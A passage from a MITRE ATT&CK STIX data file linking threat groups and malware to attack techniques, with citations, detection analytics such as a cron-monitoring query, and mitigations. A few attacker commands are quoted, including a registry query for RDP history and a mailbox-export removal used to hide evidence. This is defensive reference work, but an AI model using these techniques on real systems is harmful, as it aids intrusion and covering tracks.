2022)","modified":"2022-06-10T12:08:17.602Z","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2e33068-b08e-45fd-89e0-0cf79868f902","type":"relationship","created":"2017-05-31T21:33:27.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-03-17T02:38:48.539Z","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware uses PowerShell commands to perform various functions, including gathering system information via WMI and executing commands from its C2 server.(Citation: Citizen Lab Stealth Falcon May 2016)","relationship_type":"uses","source_ref":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2e35a7a-3057-4955-9e7e-c3972e0ad423","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Netwire Mar 2015","description":"McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/"}],"modified":"2020-03-16T17:21:37.048Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can discover and collect victim system information.(Citation: McAfee Netwire Mar 2015)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2e74982-a4a6-428f-888a-a910453b7e82","type":"relationship","created":"2019-06-13T19:12:07.352Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back","source_name":"Morphisec ShellTea June 2019"}],"modified":"2019-06-28T20:48:52.704Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has hashed most its code's functions and encrypted payloads with base64 and XOR.(Citation: Morphisec ShellTea June 2019)","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2e91dcc-87b0-4ff8-a6cd-0dfd6a813483","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell Sakula","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.","url":"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"}],"modified":"2020-03-17T02:29:53.376Z","description":"Some [Sakula](https://attack.mitre.org/software/S0074) samples use cmd.exe to delete temporary files.(Citation: Dell Sakula)","relationship_type":"uses","source_ref":"malware--96b08451-b27a-4ff6-893f-790e26393a8e","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e2ebd73f-9198-49c7-b446-00478a466e78","created":"2019-02-21T21:17:37.928Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT39 Jan 2019","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"},{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.788Z","description":"[APT39](https://attack.mitre.org/groups/G0087) used custom tools to create SOCK5 and custom protocol proxies between infected hosts.(Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e2ef57a9-be09-4b5c-b71a-f98e57a530c9","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:25:56.998Z","description":"Monitor execution of commands related to cron that are out of alignment with known software or administrative tasks. Monitor executed atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All at jobs are stored in /var/spool/cron/atjobs/.\n\nAnalytic 1 - Suspicious Cron execution\n\n index=linux_logs sourcetype=cron_logs | search \"cron\" AND (command=\"crontab -e\" OR command=\"crontab -l\" OR command=\"* * * * *\" OR command=\"*/cron.d/*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e2f772c3-0822-4c4c-8a8d-51094349ccc5","created":"2023-12-21T20:56:43.470Z","revoked":false,"external_references":[{"source_name":"Trend Micro Cheerscrypt May 2022","description":"Dela Cruz, A. et al. (2022, May 25). New Linux-Based Ransomware Cheerscrypt Targeting ESXi Devices Linked to Leaked Babuk Source Code. Retrieved December 19, 2023.","url":"https://www.trendmicro.com/en_se/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-21T20:56:43.470Z","description":"[Cheerscrypt](https://attack.mitre.org/software/S1096) can search for log and VMware-related files with .log, .vmdk, .vmem, .vswp, and .vmsn extensions.(Citation: Trend Micro Cheerscrypt May 2022)","relationship_type":"uses","source_ref":"malware--5d3fa1db-5041-4560-b87b-8f61cc225c52","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e2f8a71a-a4ea-4976-b282-f2df342134e4","created":"2024-01-02T19:08:35.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022","description":"Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.","url":"https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader"},{"source_name":"Dell SecureWorks BRONZE STARLIGHT Profile","description":"SecureWorks. (n.d.). BRONZE STARLIGHT. Retrieved December 6, 2023.","url":"https://www.secureworks.com/research/threat-profiles/bronze-starlight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-03T19:29:01.310Z","description":"(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)(Citation: Dell SecureWorks BRONZE STARLIGHT Profile)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"malware--54089fba-8662-4f37-9a44-6ad25a5f630a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2f9132b-cb32-4b39-8d6d-fec48be3e92f","type":"relationship","created":"2020-10-27T19:26:38.178Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-10-27T19:26:38.178Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has encrypted its C2 traffic with RC4.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2fd8460-85cf-42b3-acee-7151758ee55a","type":"relationship","created":"2019-07-29T14:58:44.962Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.","url":"https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/","source_name":"CarbonBlack RobbinHood May 2019"}],"modified":"2019-07-29T15:46:15.101Z","description":"[RobbinHood](https://attack.mitre.org/software/S0400) will search for an RSA encryption key and then perform its encryption process on the system files.(Citation: CarbonBlack RobbinHood May 2019) ","relationship_type":"uses","source_ref":"malware--0a607c53-df52-45da-a75d-0e53df4dad5f","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e3038b75-63f6-44c2-9645-673bbf0ffa3b","created":"2020-05-08T17:01:36.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.225Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has named its backdoor \"WINWORD.exe\".(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e30864c0-df50-403b-9ad0-ef744a5d7449","type":"relationship","created":"2020-03-25T18:30:50.108Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-16T12:53:42.567Z","description":"If it is necessary that software must store credentials in the Registry, then ensure the associated accounts have limited permissions so they cannot be abused if obtained by an adversary.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e30a790b-8f09-4bdc-8116-275d00880333","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-16T23:56:46.394Z","description":"[FLASHFLOOD](https://attack.mitre.org/software/S0036) searches for interesting files (either a default or customized set of file extensions) on removable media and copies them to a staging area. The default file types copied would include data copied to the drive by [SPACESHIP](https://attack.mitre.org/software/S0035).(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e30bb29e-1f1c-4d68-9720-ae99da0c84ee","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"},{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-05-31T17:16:32.735Z","description":"(Citation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint Bandook Nov 2020) ","relationship_type":"uses","source_ref":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","target_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e30c24d3-d440-4395-88b3-3192a02c4364","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","source_name":"Palo Alto OilRig May 2016"}],"modified":"2019-09-04T22:55:41.133Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used reg query “HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default” on a victim to query the Registry.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e30d2085-62df-4c4a-9828-a9b6d5396136","created":"2023-03-26T16:48:02.914Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T16:48:02.914Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) removed evidence of email export requests using `Remove-MailboxExportRequest`.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--438c967d-3996-4870-bfc2-3954752a1927","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e30f869c-1d18-4646-a5fd-59ac518bc52c","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T13:40:41.453Z","description":"Monitor for changes made to Windows services to repeatedly execute malicious payloads as part of persistence.","relationship_type":"detects","source_ref":"x-mitre-data-component--66531bc6-a509-4868-8314-4d599e91d222","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e31c20e8-f6f7-4ebb-89e0-51c34597c379","type":"relationship","created":"2021-09-09T14:26:23.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.339Z","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) can capture images from webcams on compromised hosts.(Citation: Talos Oblique RAT March 2021)","relationship_type":"uses","source_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e31ca67c-1662-4d27-b349-44f3dda2a872","type":"relationship","created":"2020-12-17T16:16:08.594Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Cicada November 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."}],"modified":"2020-12-29T16:51:25.563Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used tools to exploit the ZeroLogon vulnerability (CVE-2020-1472).(Citation: Symantec Cicada November 2020)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e31f5737-0105-481d-9e12-e0986f752164","type":"relationship","created":"2020-02-21T21:00:49.031Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-29T22:18:11.328Z","description":"Ensure proper process and file permissions are in place to prevent adversaries from disabling or modifying firewall settings.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e32b53b5-b112-483a-8d95-56bf3f43671f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf","description":"F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.","source_name":"F-Secure Cosmicduke"}],"modified":"2021-07-20T21:57:36.216Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) uses scheduled tasks typically named \"Watchmon Service\" for persistence.(Citation: F-Secure Cosmicduke)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3347969-1cfd-43f3-b871-65874c4b2f95","type":"relationship","created":"2019-01-30T19:50:46.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","source_name":"Unit 42 NOKKI Sept 2018"}],"modified":"2020-03-17T01:58:31.477Z","description":"[NOKKI](https://attack.mitre.org/software/S0353) can gather information on the victim IP address.(Citation: Unit 42 NOKKI Sept 2018)","relationship_type":"uses","source_ref":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e33671e8-2a3c-4ec9-997f-c5275f5299d2","created":"2024-07-02T19:21:01.636Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T19:21:31.188Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) can create an arbitrary process with a specified command line and redirect its output to a staging directory.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e337f1d2-0729-48e0-8e8a-8fd372b81aa5","type":"relationship","created":"2020-11-13T18:52:28.973Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."},{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T21:28:41.248Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) has the ability to use HTTP in C2 communications.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3417dc3-f784-4306-8466-65a0067b63f1","type":"relationship","created":"2019-01-30T14:00:49.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/","source_name":"PaloAlto DNS Requests May 2016"}],"modified":"2019-05-30T18:05:32.708Z","description":"[APT18](https://attack.mitre.org/groups/G0026) can list files information for specific directories.(Citation: PaloAlto DNS Requests May 2016)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3425903-a09d-44e2-b033-daadc8208ff5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","source_name":"Unit 42 DarkHydrus July 2018"},{"url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/","description":"Falcone, R. (2018, August 07). DarkHydrus Uses Phishery to Harvest Credentials in the Middle East. Retrieved August 10, 2018.","source_name":"Unit 42 Phishery Aug 2018"},{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"}],"modified":"2019-04-22T19:23:13.461Z","description":"[DarkHydrus](https://attack.mitre.org/groups/G0079) has sent spearphishing emails with password-protected RAR archives containing malicious Excel Web Query files (.iqy). The group has also sent spearphishing emails that contained malicious Microsoft Office documents that use the “attachedTemplate” technique to load a template from a remote server.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit 42 Phishery Aug 2018)(Citation: Unit 42 Playbook Dec 